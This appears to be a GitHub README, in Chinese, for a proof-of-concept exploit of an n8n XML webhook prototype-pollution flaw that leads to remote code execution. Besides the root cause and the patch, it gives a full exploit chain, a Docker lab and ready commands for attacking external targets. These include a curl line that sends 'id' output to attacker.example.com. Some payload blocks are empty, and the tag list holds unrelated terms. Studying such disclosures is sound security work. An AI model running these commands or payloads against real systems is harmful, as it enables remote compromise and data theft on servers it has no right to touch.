rudSarkar/CVE-2026-42231
GitHub: rudSarkar/CVE-2026-42231
针对 n8n XML Webhook 原型链污染漏洞(CVE-2026-42231)的全链利用 PoC,含 Docker 靶场和自动化利用脚本。
Stars: 0 | Forks: 1
# GHSA-q5f4-99jv-pgg5 — n8n XML Webhook 原型链污染 → RCE
**CVE:** CVE-2026-42231
**严重性:** 严重 (CVSS 10.0)
**受影响版本:** n8n < 1.123.32 / < 2.17.4 / < 2.18.1
**修复版本:** n8n 1.123.32 / 2.17.4 / 2.18.1
## 漏洞概述
`packages/cli/src/middlewares/body-parser.ts` 创建了一个模块级别的单例 `xml2js` Parser,**没有**使用 `tagNameProcessors` 或 `attrNameProcessors`。这允许攻击者发送包含 `<__proto__>` 元素的 XML webhook 请求体。
`xml2js 0.6.2` 使用带有数据描述符的 `Object.defineProperty` 在解析后的对象上设置元素键。因为 `'__proto__' in obj` 始终为 `true`,`assignOrPush()` 会将值包装在数组中,并将其存储为**自身的可枚举数据属性**——从而绕过了通常会安全更新原型链的 `[[Set]]` 访问器。
自身的 `__proto__` 属性在 `JSON.stringify`(在 n8n 将执行数据持久化到 SQLite/PostgreSQL 时执行)后依然存在,并且在重新加载时经过 `JSON.parse` 后,随后的 `Object.assign(target, reloadedBody)` 会将 `target` 的原型重新路由到攻击者控制的对象。
在还包含执行 SSH 操作的 **Git 节点** 的工作流中,被污染的原型会将 `spawnOptions` / `GIT_SSH_COMMAND` 值暴露给 `simple-git` 的 `createInstanceConfig`,从而实现操作系统级别的命令执行。
## 根本原因
```
// packages/cli/src/middlewares/body-parser.ts (VULNERABLE — < 1.123.32)
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true, // lowercases tags — but does NOT block __proto__
explicitArray: false,
// ← NO tagNameProcessors
// ← NO attrNameProcessors
});
```
**修复 (>= 1.123.32):**
```
function sanitizeXmlName(name: string): string {
const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true,
explicitArray: false,
tagNameProcessors: [sanitizeXmlName],
attrNameProcessors: [sanitizeXmlName],
});
```
## 漏洞利用链
```
1. Attacker sends XML POST to a public Webhook trigger:
POST /webhook/ Content-Type: application/xml
<__proto__>
true
2. xml2js body parser creates req.body.root where '__proto__' is an
OWN ENUMERABLE DATA PROPERTY:
Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
→ { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
enumerable: true, writable: true, configurable: true }
3. n8n's deepCopy() iterates own keys via for...in + hasOwnProp.
The assignment clone['__proto__'] = deepCopy(attackerArray)
silently replaces clone's prototype via the [[Set]] accessor.
4. n8n serialises execution data to DB:
JSON.stringify(body.root)
→ '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
The __proto__ key is included because it is own and enumerable.
Confirmed in the execution_data table in SQLite.
5. On reload, JSON.parse recreates '__proto__' as an own data property
(plain object, no array wrapping).
Object.assign(gitOptions, reloadedBody)
reroutes gitOptions's prototype to the attacker-controlled object.
6. When the Git node calls simpleGit(gitOptions):
createInstanceConfig(gitOptions)
reads config.spawnOptions via the prototype chain → truthy →
spawnOptionsPlugin is registered.
With GIT_SSH_COMMAND in the env object, git executes the attacker's
command on the next SSH operation.
```
### 关于 `normalizeTags` 的说明
`normalizeTags: true` 会将**所有** XML 标签名转换为小写,因此像 `` 这样的子元素在解析后的对象中会变成 `git_ssh_command`。为了保持环境变量名称的大小写,请使用 XML **属性**(属性名**不会**被 `normalizeTags` 转换):
```
```
## 前置条件
1. 活动的工作流中必须存在一个**公共 Webhook 触发器**(Authentication = None,Content-Type = XML)。
2. 对于完整的 RCE 攻击路径,该工作流还必须包含一个执行 SSH 认证操作(通过 SSH URL 进行 clone / push)的 **Git 节点**。
3. n8n 版本 **< 1.123.32**。
## 实验环境设置
### 要求
- Docker ≥ 24 及 Compose v2
- Python 3.9+(用于在不使用 Docker 的情况下独立运行 PoC)
- 本地主机的 **5678** 端口空闲
### 一键设置
```
chmod +x exploit.sh
./exploit.sh setup
```
此命令将拉取 `n8nio/n8n:1.123.22`(最后受影响的版本),构建攻击者镜像,在 `http://localhost:5678` 启动易受攻击的目标,自动创建并激活 webhook 工作流,并将 webhook URL 保存到 `.webhook_state`。
## 端到端漏洞利用演示
### 1. 设置
```
./exploit.sh setup
```
预期输出(已截断):
```
[*] Pulling vulnerable n8n image (1.123.22) ...
[*] Building attacker image ...
[*] Starting vulnerable n8n target ...
[*] Waiting for n8n to become healthy ...
[*] Creating webhook workflow (Webhook → Code node) ...
[+] Lab is ready.
Run: ./exploit.sh demo # verify the pollution primitive
./exploit.sh exploit # deliver all three RCE payloads
```
### 2. 验证污染原语(演示模式)
```
./exploit.sh demo
```
PoC 会发送一个验证 payload,并显示从 n8n 工作流返回的解析主体。**易受攻击的实例**将返回:
```
[+] HTTP 200
Response: {"step1_ownEnumerableProto":true,
"step1_descriptor":{"enumerable":true,
"value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
"step2_deepCopySimulated":true,
"step3_jsonRoundTripOwn":true,
"step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
"step4_objectAssignPolluted":true, ...}
```
### 3. 交付 RCE 意图的 payload
```
./exploit.sh exploit
# 或使用自定义命令:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"
```
会交付三个互补的 payload:
| Payload | 技术 |
|---------|-----------|
| A | `<__proto__>` 标签 — `GIT_SSH_COMMAND` 作为 XML 属性 |
| B | `` 链 |
| C | 带有 `env` 属性的嵌套 `<__proto__>` |
### 4. 观察结果(工作流中包含 Git 节点)
- 在 n8n 执行日志中,查找 git 命令错误——如果 RCE 触发,它将包含您注入的 `GIT_SSH_COMMAND` 的输出。
- 在带有 Code 节点的演示模式中,工作流的响应主体将包含 `"step4_objectAssignPolluted": true`,以此确认攻击链有效。
## 独立使用(不使用 Docker)
```
pip install -r requirements.txt
# 仅验证 — 无需 Git node:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id \
--demo
# 完整 exploit — 需要 Webhook + Git/SSH node 工作流:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id \
--cmd 'curl http://attacker.example.com/$(id|base64)'
```
### Webhook URL 格式 (n8n v1.123.x)
在某些部署中,n8n 将 webhook 注册为 `/webhook//webhook/`。如果短格式 `/webhook/` 返回 404,请将带有工作流 ID 前缀的路径作为 `--target` 传入:
```
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target "http://n8n.target.com/webhook/" \
--webhook-id \
--demo
```
## 本地验证(Node.js,无需实时实例)
复现 n8n 使用的确切 xml2js 解析器配置,并逐步执行所有四个链阶段:
```
cd /tmp/xml2js-test && npm install xml2js@0.6.2
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js
```
**易受攻击**配置的预期输出:
```
[STEP 1] VULNERABLE — '__proto__' is own enumerable data property
descriptor: { value: '[Object.prototype, {"polluted":"CONFIRMED"}]',
enumerable: true, writable: true, configurable: true }
[STEP 1] Fixed parser renamed __proto__ to sanitized___proto__
[STEP 2] deepCopy prototype changed → clone proto[1].polluted = "CONFIRMED"
[STEP 3] After JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ] If target is used as simpleGit config AND the prototype exposes
e.g. { spawnOptions: { shell: true } }, git will be spawned through a shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (found via prototype chain)
[ RCE ] simpleGit would call: spawnOptionsPlugin(config.spawnOptions)
══ RESULT: Instance uses VULNERABLE xml2js config (no sanitizeXmlName) ══
```
## 手动 Docker 命令
```
# 构建 attacker image
docker build -t n8n-proto-pollution-poc .
# Demo 模式(连接到共享 lab network)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/ \
--webhook-id cve-2026-42231-poc \
--demo
# 完整 exploit
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
n8n-proto-pollution-poc \
--target http://n8n-vuln:5678/webhook/ \
--webhook-id cve-2026-42231-poc \
--cmd 'curl http://attacker.example.com/$(id|base64)'
# 针对外部 target(无需 network 标志)
docker run --rm n8n-proto-pollution-poc \
--target https://n8n.example.com \
--webhook-id \
--demo
```
## 清理
```
./exploit.sh clean
```
停止容器并移除卷(包括 SQLite 数据库)。
## 文件
| 文件 | 描述 |
|------|-------------|
| `poc_GHSA-q5f4-99jv-pgg5.py` | 独立的 Python HTTP PoC — 三种 XML payload 变体,`--demo` 和 `--cmd` 模式 |
| `verify_GHSA-q5f4-99jv-pgg5.js` | Node.js 本地链验证器 — 无需实时实例即可逐步执行全部 4 个漏洞利用阶段 |
| `Dockerfile` | 攻击者容器镜像 |
| `docker-compose.yml` | 完整实验室:易受攻击的 n8n + 攻击者容器 |
| `exploit.sh` | 用于设置、演示、漏洞利用和清理的辅助脚本 |
| `requirements.txt` | Python 依赖项 |
## 参考文献
- [GHSA-q5f4-99jv-pgg5](https://github.com/advisories/GHSA-q5f4-99jv-pgg5)
- [n8n release 1.123.32 changelog](https://github.com/n8n-io/n8n/releases/tag/n8n%401.123.32)
- [xml2js assignOrPush — `Object.defineProperty` 数据描述符](https://github.com/Leonidas-from-XIV/node-xml2js/blob/master/lib/parser.js)
- [通过 `Object.defineProperty` 进行原型链污染](https://portswigger.net/web-security/prototype-pollution)
标签:Apache-2.0, body-parser, CISA项目, CVE-2026-42231, CVSS 10.0, GIT_SSH_COMMAND, GNU通用公共许可证, MITM代理, n8n, Node.js, PostgreSQL, RCE, SQLite, TypeScript, Webhook, Web报告查看器, xml2js, XML注入, 中间件安全, 力导向图, 原型污染, 原型链污染, 安全插件, 正文解析, 漏洞分析, 编程工具, 网络安全, 请求拦截, 路径探测, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞